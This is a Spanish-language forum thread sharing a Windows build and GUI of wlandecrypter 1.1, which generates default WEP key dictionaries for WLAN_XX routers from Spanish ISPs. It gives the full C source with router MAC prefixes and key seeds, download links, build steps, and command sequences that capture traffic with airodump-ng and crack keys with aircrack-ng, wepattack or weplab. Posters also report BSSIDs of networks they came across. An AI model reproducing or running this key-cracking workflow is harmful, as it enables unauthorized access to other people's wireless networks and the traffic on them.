Wlandecrypter 1.1 NUEVO! para Windows - GUI

[lampi]

Wlandecrypter 1.1 para Windows, compilado por erborricobueno.

wlandecrypter 1.1 - 2007-2008-2009 dudu[at]banned.net
                    2006           nilp0inter2k6_at_gmail.com

 ---------->  http://www.banned.net compilado para windows para http:
//lampiweb.com <----------

       uso: wlandecrypter <bssid> <essid> [output file]

  *Essid:
         WLAN_??  : Para crear diccionario con todas las posibilidades.


Yo no puedo probarlo, asi que lo subo y lo probais vosotros.

Download wlandecrypter 1.1 para windows
http://lampiweb.com/foro/index.php?action=downloads;sa=view;down=47

Download wlandecrypter 1.1 para windows - GUI

re.subido por maripuri:

Hash de archivos

CRC32: 8918B57C
MD5: 70E9BDD3442CFEA904586CDD7EB1D0E9
SHA-1: 7D64F6FB6E2B6DB234DAAADD82973AB53268692F

descarga

http://lampiweb.com/foro/index.php/topic,3361.0.html



Disfruta de la buena musica: http://lampiweb.com/radioseven.html y mañana espero tu voto.

[maripuri]

Espero probarlo esta noche. Buen trabajo erborricobueno 

[lampi]

Yo desmonte la aparabolica para reparar el dipolo y aun la tengo tirada, cuando termine otras cosillas la monto y pruebo.

Suena bien, Wlandecrypter 1.1 para Windows. Google ya hace el resto. 

[maripuri]

Google es muy sabio, por eso es el mejor motor de busquedas que existe, ni siquiera el nuevo Bing lo va superar 

[icehot]

ENHORABUENA por la compilacion erborricobueno.

Un saludo

[lampi]

Voy a probar de montar una gui rapidita creo que sera mas facil para muchos, por las pruebas "1" dependiendo de los datos suministrados "mac y nombre de la red" te genera un diccionario. Mas ya vosotros.

Podria embeber el exe y no saldria ninguna url de esos mierdas pero como no soy como ellos lo dejare libre como libre es internet.

[maripuri]

Mas ya vosotros.

     Se agradece,

uso: wlandecrypter <bssid> <essid> [output file]

no es nada dificil pero seguro que prefieren la gui..   

[lampi]

Wlandecrypter 1.1 para Windows - GUI, no hace gran cosa pero la musiqueta ya lo vale  la salida la da como lampiweb.lst

http://lampiweb.com/foro/index.php?action=downloads;sa=view;down=48

[maripuri]

Ya está bajando.. haber que tal te quedó.. 

edito: 125 visitas desde que se creó el tema

«  : Hoy a las 18:13:40 »

Te ha quedado bien

Si, buena musica y buen aspecto 

[erborricobueno]

Te ha quedado bien,ese estilo le va bonito a las gui.

[lampi]

  Mira que no me acordaba de esta gente y por hablar mal de mi, aqui tienen mi bendicion.

[maripuri]

Crea los diccionarios sin problemas con la gui y cmd:

[lampi]

Si es lo mismo, pero se que hay gente que no se mueve bien con la tecla, esto les da facilidad. Con el raton copiar/pegar y listo.

[maripuri]

Si, eso es cierto y seguro que agradecen la gui.  Cuando tenga un resultado lo subo.
 
pd. 144 visitas y subiendo   

[icehot]

Esta no es la compilacion del nuevo que saca el diccionario, aunque el cliente haya cambiado el ESSID.

-Aun no lo he probado de ahi mi pregunta.

Un saludo

[lampi]

Yo tampoco lo se, lo que se es que pide WLAN_ asi que no solo se que no se nada.  Aun asi, yo tengo lo que queria.

[erborricobueno]

Eso es, lo he dejado sin quitar cosas para que no se cabreen pero tenía fallos el código queriendo.Para comprobación de lo que he comentado.-

\SinNombre1.cpp:64: error: initializer-string for array of chars is too long

\SinNombre1.cpp: In function `int main(int, char**)':
\SinNombre1.cpp:131: error: `toupper' undeclared (first use this function)
\SinNombre1.cpp:131: error: (Each undeclared identifier is reported only once for each function it appears in.)

\SinNombre1.cpp: In function `int buscaBssid(tRouter*, char*)':
\SinNombre1.cpp:373: error: `toupper' undeclared (first use this function)

Ejecución Terminada

[icehot]

Eso es, lo he dejado sin quitar cosas para que no se cabreen pero tenía fallos el código queriendo.

-vamos que en el codigo que hay se han "comido" cosas, ya les vale.

-Pero bueno ya tenemos otra herramienta y un excelente "compi"-"lador" 

Un saludo

[lampi]

Cuando se compile la otra solo teneis que cambiar el wlandecrypter.exe


****************************
Para compilar wlandecrypter:
****************************

wget http://www.banned.org/archivos/wlandecrypter-1.0.tar.gz
tar zxvf wlandecrypter-1.0.tar.gz
cd wlandecrypter-1.0/
make clean && make
su
make install


Version linux

***************
Para usarlo....
***************
Hay 3 maneras : 1) con aircrack-ng
                2) con wepattack
                3) con weplab


1) 
airodump-ng -w captura --channel 6 ath0
wlandecrypter 00:11:22:33:44:55 WLAN_00 diccionario00.txt
aircrack-ng -b 00:11:22:33:44:55 -w diccionario00.txt captura.cap

2)
airodump-ng -w captura --channel 6 ath0
wlandecrypter 00:11:22:33:44:55 WLAN_00 | wepattack -f captura.cap

3)
airodump-ng -w captura --channel 6 ath0
wlandecrypter 00:11:22:33:44:55 WLAN_00 |  weplab --key 128 -y --bssid 00:11:22:33:44:55 captura.cap

Código: [Seleccionar]

*****************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//
// Numero de modelos de routers en la base de datos
//
#define MAXROUTER 18
#define MAXINDEX 1
#define VERSION 1
#define SUBVERSION 1

//
// Tipo de dato Router, con toda la informacion
//
typedef struct Router
{
char bssid[18];       //  cambiado de 9 a 11 a 15 a 16 ,17,18
char init[MAXINDEX][8];
        char init1[MAXINDEX][8]; //añadido v0.7,creara otro indice para la structura Router,por lo que
char notas[30];          // para tipo 00:13:49:XX:XX:XX y 00:1A:2B:XX:XX:XX habra un diccionario doble
                                 // añadido v0.8 nuevo diccionario doble para 00:19:CB:XX:XX:XX
} tRouter;

//
// Variables globales
//
char hex[16]="0123456789ABCDEF";

//
// Funciones
//
void initRouters(tRouter routers[MAXROUTER]);
void datosRouters(tRouter routers[MAXROUTER]);
void muestraAyuda();
int buscaBssid(tRouter routers[MAXROUTER], char *bssid);
void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd);
void essidCambiado(FILE *fichero, tRouter routers[MAXROUTER], int bssidId);  // v1.1


//
// MAIN !!!
//
int main(int argc, char *argv[])
{
int bssidId, i;
int validHex=0;
char endKey[2];
tRouter routers[MAXROUTER];
FILE *fichero;

if(argc<3 || argc>4)
{
muestraAyuda();
return 1;
}

        fprintf(stderr, "\nwlandecrypter %i.%i - 2007-2008-2009 dudu[at]***.net\n", VERSION, SUBVERSION);
        fprintf(stderr, "                    2006           nilp0inter2k6_at_gmail.com\n\n");
        fprintf(stderr, "");
        fprintf(stderr, " ---------->  http://www.***.net <----------\n\n");
        fprintf(stderr, "");
        fprintf(stderr, "       uso: wlandecrypter <bssid> <essid> [output file]\n\n");
        fprintf(stderr, "");
        fprintf(stderr, "");
        fprintf(stderr, "  *Essid:\n");
        fprintf(stderr, "         WLAN_??  : Para crear diccionario con todas las posibilidades.\n\n");


                           

if(strlen(argv[1])!=17)  // 12 caracateres alfanumericos y los 5 puntos dobles
{
fprintf(stderr," [-] Longitud de BSSID invalida\n");
return 1;
}

initRouters(routers);
datosRouters(routers);


bssidId=buscaBssid(routers, argv[1]);

if(bssidId==-1)
{
fprintf(stderr, " [-] BSSID no encontrado\n");
return 1;
}
else
{
fprintf(stderr, " [+] BSSID: %s\n"
" [+] Modelo: %s\n", argv[1], routers[bssidId].notas);

for(i=0;i<strlen(argv[2]);i++)
argv[2][i]=toupper(argv[2][i]);

//comprueba que el essid empieza por "WLAN_"
if(strlen(argv[2])<7 || strlen(argv[2])>9 || strncmp("WLAN_", argv[2], 5) != 0 )
{
fprintf(stderr, " [-] ESSID: %s invalido!!\n", argv[2]);
return 1;
}
else
{
//*************************************************************************************************
// essid cambiado WLAN_??   (idea de tupy de ***.net)
//*************************************************************************************************
                        if(argv[2][5]=='?' && argv[2][6] =='?')
                        {
                                fprintf(stderr," [+] ESSID: %s\n", argv[2]);

                                if(argc>3) // Fichero
                                {

                                        fprintf(stderr," [+] Fichero de claves: %s\n", argv[3]);
                                        fichero=fopen(argv[3], "a+");
                                        if(fichero!=NULL)
                                        {
                                                essidCambiado(fichero,routers,bssidId);
                                                fclose(fichero);
                                                fprintf(stderr, " [+] Fichero guardado\n");
                                        }
                                        else
                                        {
                                                fprintf(stderr," [-] Error al abrir el fichero\n");
                                                return 1;
                                        }
                                }
                                else
                                {
                                        fprintf(stderr," [+] Seleccionada salida estandar\n");
                                        essidCambiado(stdout,routers,bssidId);
                                }

 


                              return 0 ;
                        }
//****************************************************************************************************
                    //comprueba que el primer caracter despues del "WLAN_" es hexadecimal
for(i=0;i<strlen(hex);i++)
{
if(argv[2][5]==hex[i])
{
validHex++;
break;
}
}
//comprueba que el segundo caracter despues del "WLAN_" es hexadecimal
for(i=0;i<strlen(hex);i++)
{
if(argv[2][6]==hex[i])
{
validHex++;
break;
}
}

if(validHex!=2)
{
fprintf(stderr, " [-] ESSID: %s invalido!!\n", argv[2]);
return 1;
}
else
{
endKey[0]=argv[2][5];
endKey[1]=argv[2][6];

fprintf(stderr," [+] ESSID: %s\n", argv[2]);

if(argc>3) // Fichero
{

fprintf(stderr," [+] Fichero de claves: %s\n", argv[3]);
fichero=fopen(argv[3], "a+");
if(fichero!=NULL)
{
imprimeClaves(fichero,routers,bssidId,endKey);
fclose(fichero);
fprintf(stderr, " [+] Fichero guardado\n");
}
else
{
fprintf(stderr," [-] Error al abrir el fichero\n");
return 1;
}
}
else
{
fprintf(stderr," [+] Seleccionada salida estandar\n");
imprimeClaves(stdout,routers,bssidId,endKey);
}
}
}

}

return 0;
}

//
// Vacia la estructura routers
//
void initRouters(tRouter routers[MAXROUTER])
{
int i,j;
for(j=0;j<MAXROUTER;j++)
{
strcpy(routers[j].bssid,"");
for(i=0;i<5;i++)
strcpy(routers[j].init[i],"");
strcpy(routers[j].notas,"");
}
}

//
// Introduce los datos de los modelos conocidos
//
void datosRouters(tRouter routers[MAXROUTER])
{

// Z-com
strcpy(routers[0].bssid,"00:60:B3\0");
strcpy(routers[0].init[0],"Z001349\0");
strcpy(routers[0].notas,"Z-com\0");

// Xavvy
strcpy(routers[1].bssid,"00:01:38\0");
strcpy(routers[1].init[0],"X000138\0");
strcpy(routers[1].notas,"Xavi 7768r\0");

// Comtrend
strcpy(routers[2].bssid,"00:03:C9\0");
strcpy(routers[2].init[0],"C0030DA\0");
strcpy(routers[2].notas,"Comtrend 535\0");


// Zyxel : Gracias a thefkboss de ***.net por esta observacion
strcpy(routers[3].bssid,"00:A0:C5\0");
strcpy(routers[3].init[0],"Z001349\0");
strcpy(routers[3].notas,"Zyxel 650HW/660HW\0");

// Comtrend NUEVO, gracias a dnreinad por el coche xD
strcpy(routers[4].bssid,"00:16:38\0");
strcpy(routers[4].init[0],"C0030DA\0");
strcpy(routers[4].notas,"Comtrend_536+\0");

// P-660HW-D1,gracias a Tertulia de ***.net  ;)
strcpy(routers[5].bssid,"00:13:49\0");
strcpy(routers[5].init[0],"Z001349\0");
        strcpy(routers[5].init1[0],"Z0002CF\0"); //añadido v0.7 ....
strcpy(routers[5].notas,"P-660HW-D1\0");


        //  ZyGate Communications
        strcpy(routers[6].bssid,"00:02:CF\0");
        strcpy(routers[6].init[0],"Z0002CF\0");
        strcpy(routers[6].init1[0],"Z0023F8\0");  // añadida v1.0  gracias a thedoctor77 ;)
        strcpy(routers[6].notas,"ZyGate\0");

        // Comtrend  nuevos 2007-2008  *dudux y dnreinad
        strcpy(routers[7].bssid,"00:1A:2B\0");
        strcpy(routers[7].init[0],"C0030DA\0");
        strcpy(routers[7].init1[0],"C001D20\0"); //añadido v0.7 ....
        strcpy(routers[7].notas,"Comtrend_DSL\0");     

        // Zygate v06. gracias pianista y Sycho por estar atento
        strcpy(routers[8].bssid,"00:19:CB\0");   
        strcpy(routers[8].init[0],"Z0002CF\0");
        strcpy(routers[8].init1[0],"Z0019CB\0"); // añadido v0.8 (2009) Zyxel FTTH (fibra optica hasta el hogar)
        strcpy(routers[8].notas,"Zyxel_660hw_FTTH\0");  // gracias Sycho :P

        // Comtrend hrodgar v0.6
        strcpy(routers[9].bssid,"00:19:15\0");
        strcpy(routers[9].init[0],"C0030DA\0");
        strcpy(routers[9].notas,"Comtrend_2008\0");

        // Nuevos version0.7
        // Comtrend 2008 Mugen de el ***.net  ;)
        strcpy(routers[10].bssid,"00:30:DA\0");
        strcpy(routers[10].init[0],"C0030DA\0");
        strcpy(routers[10].notas,"Comtrend_536+\0");

        // Comtrend nuevos 2008
        strcpy(routers[11].bssid,"00:1D:20\0");
        strcpy(routers[11].init[0],"C001D20\0");
        strcpy(routers[11].notas,"Comtrend_536+\0");

        //Nuevo version0.9
        // Zyxel P660HW-D1  2009 Gracias a Zim_Zum y a buckynet de ***.net
        strcpy(routers[12].bssid,"00:23:F8\0");
        strcpy(routers[12].init[0],"Z0023F8\0");
        strcpy(routers[12].notas,"Zyxel_P660HW-D1\0"); 
 
        // Nuevo version1.0
        // Xavy  2009   zim_zum y *dudux
        strcpy(routers[13].bssid,"00:01:36\0");
        strcpy(routers[13].init[0],"X000138\0");
        strcpy(routers[13].notas,"Xavi_7768r_2009\0");




}

//
// Muestra la ayuda del programa
//
void muestraAyuda()
{
fprintf(stderr, "\nwlandecrypter %i.%i - 2007-2008-2009 dudu[at]***.net\n", VERSION, SUBVERSION);
        fprintf(stderr, "                    2006           nilp0inter2k6_at_gmail.com\n\n");
        fprintf(stderr, "");
        fprintf(stderr, " ---------->  http://www.***.net <----------\n\n");
        fprintf(stderr, "");
        fprintf(stderr, "       uso: wlandecrypter <bssid> <essid> [output file]\n\n");
        fprintf(stderr, "");
        fprintf(stderr, "");
        fprintf(stderr, "  *Essid:\n");
        fprintf(stderr, "         WLAN_??  : Para crear diccionario con todas las posibilidades.\n\n");



       
}

//
// Busca el bssid en la estructura y devuelve el identificador o
//  -1 si no existe
//
int buscaBssid(tRouter routers[MAXROUTER], char *bssid)
{
int i;

for(i=0;i<strlen(bssid);i++)
bssid[i]=toupper(bssid[i]);

for(i=0;i<MAXROUTER;i++)
{
if(strncmp ( routers[i].bssid, bssid, 8 ) == 0)
return i;
}

return -1;
}

//
// Imprime las claves en un fichero
//
void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd)
{
int i,j,k,l,index=0;

while(index<MAXINDEX && strcmp(routers[bssidId].init[index], ""))
{
 
                 // Hay gente que se asusta con estos 4 for anidados  ;)
              for(i=0;i<16;i++)  // 16 digitos hexadecimales
                for(j=0;j<16;j++)
                        for(k=0;k<16;k++)
                                for(l=0;l<16;l++)
                                {
                fprintf(fichero, "%s%c%c%c%c%c%c\n",routers[bssidId].init[index],hex[i],hex[j],hex[k],hex[l],keyEnd[0],keyEnd[1]);
                               
                                                 //añadida este bucle v0.7 para crear un diccionario con las 2 cabeceras posibles
if(strlen(routers[bssidId].init1[index])!=0)
{
              fprintf(fichero, "%s%c%c%c%c%c%c\n",routers[bssidId].init1[index],hex[i],hex[j],hex[k],hex[l],keyEnd[0],keyEnd[1]);


}


}
index++;
}

}

// Funcion para cuando se conserva la key por defecto pero el essid ha cambiado   ejem: WLAN_MARTINEZ  00:01:38:XX:XX:XX
// generara desde WLAN_00 a WLAN_FF todas las keys en un mismo fichero,ocupa 225 MB  aproximadamente y tarda unos 15 minutos
// en desencriptar, esta funcion me la paso tupy ,que fue quien indago en ella

void essidCambiado(FILE *fichero, tRouter routers[MAXROUTER], int bssidId)
{
int i,j,k,l,m,n,index=0;

while(index<MAXINDEX && strcmp(routers[bssidId].init[index], ""))
{
 
                 // Hay gente que se asusta con estos 4 for anidados  ;)
              for(i=0;i<16;i++)  // 16 digitos hexadecimales
                for(j=0;j<16;j++)
                        for(k=0;k<16;k++)
                                for(l=0;l<16;l++)
for(m=0;m<16;m++)
for(n=0;n<16;n++) //AQUI ESTA MI MODIFICACION
                                {
                fprintf(fichero, "%s%c%c%c%c%c%c\n",routers[bssidId].init[index],hex[i],hex[j],hex[k],hex[l],hex[m],hex[n]);
                               
                                                 //añadida este bucle v0.7 para crear un diccionario con las 2 cabeceras posibles
if(strlen(routers[bssidId].init1[index])!=0)
{
              fprintf(fichero, "%s%c%c%c%c%c%c\n",routers[bssidId].init1[index],hex[i],hex[j],hex[k],hex[l],hex[m],hex[n]);


}


}
index++;
}

}

[lampi]

icehot, de donde sacas que hay una version que da la key sin saber el essid de serie, creo que el algorritmo se basa en los tener los dos datos, solo con la mac no se puede saber nada.

[Frodo]

icehot, de donde sacas que hay una version que da la key sin saber el essid de serie, creo que el algorritmo se basa en los tener los dos datos, solo con la mac no se puede saber nada.

Exacto Lampi. En esta version se supone que saca las claves de las redes a las que les an cambiado el nombre de AP , como por ejemplo wlan_mario.
No se si realmente es cierto o si funciona porque no lo e probado, pero es lo que se comenta.

Modificado v1.1 :             18-05-2009 por *"Tio Mierda"     Añadida funcion para ESSIDs cambiados

http://codepad.org/ApmfMyJH

Lo que no se porque se quejan tanto de robo de ideas  , el wlandecrypter no esta creado por Nilp0inteR    , y yo que sepa a esta persona no le an pedido permiso para usar o modificar el codigo de su aplicacion.  . (se que es libre  )

Gracias Erborricobueno por compilar la utilidad para windows , ademas de bueno en lo que haces ahora descubro que eres rapido como una bala. 

Gracias tambien Lampi por la GUI. 

Un saludo.

[lampi]

No sabia esto, para que veas lo al dia que estoy en el tema.
Bueno tendremos que complilar la fuente y cambiarle los creditos, eso es lo que quieren  es borma, nosotros no robamos ideas como ellos.


Cambie la url del tema para probar una cosilla, de 500 visitas pasamos a 0

[icehot]

-Hola compis me he topado con este BSSiD y me parece que no esta todavia registrado.

00:1C:BF:XX:XX:XX

-La gui del decrypter me dice que BSSID no encontrado.

Un saludo

[lampi]

Tenia un bug la version anterior, esta te da el fichero de salida completo.

Si ves errores y te lo callas peor para ti o mejor espera que lo reporte otro.

La descarga es la misma url. http://lampiweb.com/foro/index.php?action=downloads;sa=view;down=48

[Rubenmc90]

He estado probando con wep conocidas y tiene un error.

Le he introducido todos los parametros y mirando en el listado encuetro la clave pero le falta un digito.

Ejemplo:

Me dá un listado con claves de 13 digitos mientras que la real tiene 14.

Z0023F8C73609

Z0023F8C7360X9

Yo os lo expongo por si es un error o me estoy equivocando

Saludos